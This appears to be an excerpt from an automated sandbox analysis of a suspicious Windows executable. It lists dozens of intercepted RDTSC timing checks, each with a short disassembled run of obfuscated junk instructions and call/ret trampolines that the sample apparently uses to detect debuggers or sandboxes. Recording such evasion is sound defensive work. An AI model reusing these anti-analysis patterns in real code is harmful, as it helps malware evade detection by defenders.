Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEA696 second address: CEA69A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEA69A second address: CEA71B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007FBC154CB168h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 and edi, 0DC9C1AAh 0x00000028 mov dword ptr [ebp+122D25ABh], eax 0x0000002e push 00000000h 0x00000030 pushad 0x00000031 jmp 00007FBC154CB16Bh 0x00000036 mov eax, dword ptr [ebp+1244AA7Bh] 0x0000003c popad 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push ebp 0x00000042 call 00007FBC154CB168h 0x00000047 pop ebp 0x00000048 mov dword ptr [esp+04h], ebp 0x0000004c add dword ptr [esp+04h], 00000018h 0x00000054 inc ebp 0x00000055 push ebp 0x00000056 ret 0x00000057 pop ebp 0x00000058 ret 0x00000059 xchg eax, esi 0x0000005a push eax 0x0000005b push edx 0x0000005c push ecx 0x0000005d jmp 00007FBC154CB172h 0x00000062 pop ecx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEA71B second address: CEA720 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEB656 second address: CEB65B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEB65B second address: CEB6D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FBC14D8F5C0h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 push edi 0x00000011 movsx ebx, cx 0x00000014 pop edi 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007FBC14D8F5B8h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 00000015h 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 push edx 0x00000032 cmc 0x00000033 pop edi 0x00000034 mov edi, edx 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ebx 0x0000003b call 00007FBC14D8F5B8h 0x00000040 pop ebx 0x00000041 mov dword ptr [esp+04h], ebx 0x00000045 add dword ptr [esp+04h], 0000001Ah 0x0000004d inc ebx 0x0000004e push ebx 0x0000004f ret 0x00000050 pop ebx 0x00000051 ret 0x00000052 or bx, 2F1Fh 0x00000057 xchg eax, esi 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007FBC14D8F5BEh 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEC962 second address: CEC966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEC966 second address: CEC96C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEE852 second address: CEE856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CED9B3 second address: CED9B8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEDA65 second address: CEDA6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEDA6B second address: CEDA6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF08AB second address: CF08B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF08B0 second address: CF0913 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c pushad 0x0000000d mov edi, 78204B41h 0x00000012 mov cx, dx 0x00000015 popad 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007FBC14D8F5B8h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 00000016h 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 push 00000000h 0x00000034 jmp 00007FBC14D8F5C9h 0x00000039 add bl, FFFFFFDFh 0x0000003c xchg eax, esi 0x0000003d push eax 0x0000003e push edx 0x0000003f push esi 0x00000040 push esi 0x00000041 pop esi 0x00000042 pop esi 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0913 second address: CF0918 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEFA3A second address: CEFA3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF471D second address: CF4731 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC154CB170h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF398F second address: CF3994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4802 second address: CF4826 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FBC154CB177h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4826 second address: CF4830 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FBC14D8F5B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5A62 second address: CF5A67 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFFD43 second address: CFFD47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFF5FE second address: CFF610 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FBC154CB166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007FBC154CB172h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFF610 second address: CFF61A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FBC14D8F5B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFF61A second address: CFF620 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFF620 second address: CFF624 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0477F second address: D047BF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnp 00007FBC154CB166h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e push ebx 0x0000000f pushad 0x00000010 popad 0x00000011 pop ebx 0x00000012 pop esi 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push edx 0x00000018 push esi 0x00000019 jo 00007FBC154CB166h 0x0000001f pop esi 0x00000020 pop edx 0x00000021 mov eax, dword ptr [eax] 0x00000023 push esi 0x00000024 pushad 0x00000025 pushad 0x00000026 popad 0x00000027 jnp 00007FBC154CB166h 0x0000002d popad 0x0000002e pop esi 0x0000002f mov dword ptr [esp+04h], eax 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FBC154CB16Bh 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D04A4F second address: D04A90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBC14D8F5C0h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007FBC14D8F5BFh 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 jg 00007FBC14D8F5BEh 0x0000001d mov eax, dword ptr [eax] 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0715C second address: D07165 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D07165 second address: D07169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D07169 second address: D0716D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0716D second address: D07190 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007FBC14D8F5C2h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0CF9D second address: D0CFB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB172h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0CFB7 second address: D0CFBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0CB23 second address: D0CB31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FBC154CB166h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0CB31 second address: D0CB3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0CDF5 second address: D0CDF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0CDF9 second address: D0CE07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007FBC14D8F5B6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0CE07 second address: D0CE0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDB165 second address: CDB1C5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FBC14D8F5BCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d call 00007FBC14D8F5C8h 0x00000012 mov edx, dword ptr [ebp+122D36C8h] 0x00000018 pop ecx 0x00000019 jno 00007FBC14D8F5B7h 0x0000001f clc 0x00000020 lea eax, dword ptr [ebp+1247FEE4h] 0x00000026 and dx, 406Fh 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FBC14D8F5C9h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDB1C5 second address: CC15A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB176h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c call 00007FBC154CB174h 0x00000011 sub dx, 6A51h 0x00000016 pop ecx 0x00000017 call dword ptr [ebp+122D33A0h] 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FBC154CB174h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDB6B6 second address: CDB6BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDB6BA second address: CDB6C4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FBC154CB166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDB6C4 second address: CDB6CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDB6CA second address: CDB6DD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c jc 00007FBC154CB166h 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDB7BF second address: CDB7C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDB88D second address: CDB897 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FBC154CB166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDB897 second address: CDB8C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FBC14D8F5C4h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDB8C6 second address: CDB952 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB16Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push edi 0x0000000c pushad 0x0000000d jmp 00007FBC154CB170h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a jmp 00007FBC154CB16Fh 0x0000001f pop eax 0x00000020 push 00000000h 0x00000022 push eax 0x00000023 call 00007FBC154CB168h 0x00000028 pop eax 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d add dword ptr [esp+04h], 0000001Ch 0x00000035 inc eax 0x00000036 push eax 0x00000037 ret 0x00000038 pop eax 0x00000039 ret 0x0000003a pushad 0x0000003b mov ecx, dword ptr [ebp+122D2C4Fh] 0x00000041 mov edx, esi 0x00000043 popad 0x00000044 call 00007FBC154CB169h 0x00000049 jmp 00007FBC154CB16Eh 0x0000004e push eax 0x0000004f push ebx 0x00000050 push eax 0x00000051 push edx 0x00000052 jbe 00007FBC154CB166h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDB952 second address: CDB963 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDBC0B second address: CDBC10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDBDFB second address: CDBE2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBC14D8F5BDh 0x00000008 jmp 00007FBC14D8F5BAh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FBC14D8F5C2h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDBE2F second address: CDBE33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDBE33 second address: CDBE39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDBE39 second address: CDBE40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDC3BD second address: CDC3D5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FBC14D8F5BCh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDC3D5 second address: CDC3D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDC5C2 second address: CDC5C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDC62E second address: CDC632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDC70B second address: CDC70F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10B33 second address: D10B41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pushad 0x00000006 popad 0x00000007 jl 00007FBC154CB166h 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10B41 second address: D10B47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10B47 second address: D10B5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBC154CB170h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10B5B second address: D10B5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10F91 second address: D10F9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FBC154CB166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10F9B second address: D10FB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007FBC14D8F5C2h 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D18236 second address: D18254 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB179h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16CB3 second address: D16CCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007FBC14D8F5B8h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop edi 0x0000000e pushad 0x0000000f push ecx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D170E3 second address: D17134 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBC154CB16Ch 0x00000009 popad 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d ja 00007FBC154CB166h 0x00000013 jmp 00007FBC154CB177h 0x00000018 jnl 00007FBC154CB166h 0x0000001e popad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FBC154CB176h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17279 second address: D17282 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17282 second address: D17297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 pushad 0x00000009 jg 00007FBC154CB166h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1768F second address: D17693 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1795E second address: D17962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17B07 second address: D17B0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17B0F second address: D17B1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007FBC154CB166h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17B1C second address: D17B20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17B20 second address: D17B30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBC154CB16Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17B30 second address: D17B36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17B36 second address: D17B3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17B3C second address: D17B40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16A05 second address: D16A0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1B98F second address: D1B9AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007FBC14D8F5B6h 0x0000000d jmp 00007FBC14D8F5C0h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1B9AC second address: D1B9B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1FE84 second address: D1FE95 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5BDh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20469 second address: D2046E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D205A5 second address: D205AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D205AB second address: D205B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D205B3 second address: D205B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D205B8 second address: D205BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1FBC3 second address: D1FBD0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2084E second address: D20852 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
